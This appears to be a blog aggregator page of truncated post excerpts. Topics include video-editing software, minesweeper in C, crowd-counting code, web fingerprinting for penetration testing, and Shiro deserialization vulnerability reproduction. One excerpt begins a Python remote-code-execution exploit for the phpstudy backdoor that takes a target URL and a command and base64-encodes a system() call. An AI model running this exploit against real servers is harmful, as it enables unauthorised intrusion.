Apple Final Cut Pro 10.7 – Professional post-production (video editing)

Apple Final Cut Pro 10.7 – Professional post-production (video editing) Final Cut Pro 10.7 + Compressor 4 + Motion 5 (Universal) Please visit the original link: https://sysin.org/blog/apple-final-cut-pro/ to view the latest version. Original work, please keep the source when reprinting. Author homepage: sysin.org Powerful new features in Final Cut Pro take Mac and iPad video […]

AI short video production guide: text generation video, picture generation video, video generation video

Personal website: [Tool Collection] [Game Collection] [God-level Source Code Resource Network] Front-end learning course: [28 cases to learn front-end fun] [400 JS interview questions] If you are looking for friends to learn, communicate, and fish, please click [Moyu Learning and Exchange Group] Part 1: Text generation video 1. Text generation video overview With the rapid […]

c language-production of simple minesweeper game

1. Principle analysis 1. Analysis and design of the original game In the Minesweeper game, the simplest one is a 9*9 chessboard. So when we write this program in C language, we must first create a 9*9 chessboard. So how do we create a 9*9 chessboard in C language? At this time we need to […]

Shiro deserialization vulnerability principle analysis and vulnerability reproduction (CVE-2016-4437)

Table of Contents Shiro-550 Deserialization Vulnerability Vulnerability introduction Vulnerability principle Shiro-721 Deserialization Vulnerability (CVE-2019-12422) What is the difference between Shiro550 and Shiro721 vulnerability fingerprint Vulnerability introduction Vulnerability principle Attack process Vulnerability recurrence: CVE-2016-4437 Vulnerability recurrence: CVE-2019-12422 Shiro-550 Deserialization Vulnerability Vulnerability Introduction shiro-550 is mainly a command execution vulnerability caused by the deserialization of shiro’s rememberMe […]

[2016-2018] phpstudy exp production

[2016-2018]phpstudy’s exp production Written using python’s requests module Modify request packet for remote code execution import requests import base64 def remove_code_execute(): try: url = input(“Please enter the URL to be tested:”) cmd = input(“Command you want to execute:”) cmd = f”system(‘{<!– –>cmd}’);” cmd = base64.b64encode(cmd.encode()).decode() headers={<!– –> “User-Agent”: “Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 […]

C language: Minesweeper (simple production version)

Everyone should have played the game Minesweeper, so I won’t go into details about the rules of Minesweeper. I will explain it using a 9*9 Minesweeper board. Making a minesweeper game is definitely more complicated, so we choose multiple files and multiple functions to write the code. One, h header file, two .c files Let’s […]

About fingerprint collection of web applications and containers and production of automation software

Ninety percent of the penetration of a Web application starts with information collection, so information collection is particularly important. The collection of key information can make you more comfortable in later infiltration. If infiltration is like walking through a dark maze, then information collection can help you light up most of the maps in the […]

Variations-of-SFANet-for-Crowd-Counting code reproduction

The previous article did a basic review of Variations-of-SFANet-for-Crowd-Counting, and verified the visual code of the open source framework. The link is as follows: Variations-of-SFANet-for-Crowd-Counting Record-CSDN Blog Variations-of-SFANet-for-Crowd-Counting visualization code-CSDN blog Here are relevant reproductions of the training and testing code. train.py code test (1) Pre-training weights Since the training code has pre-trained weights, from: […]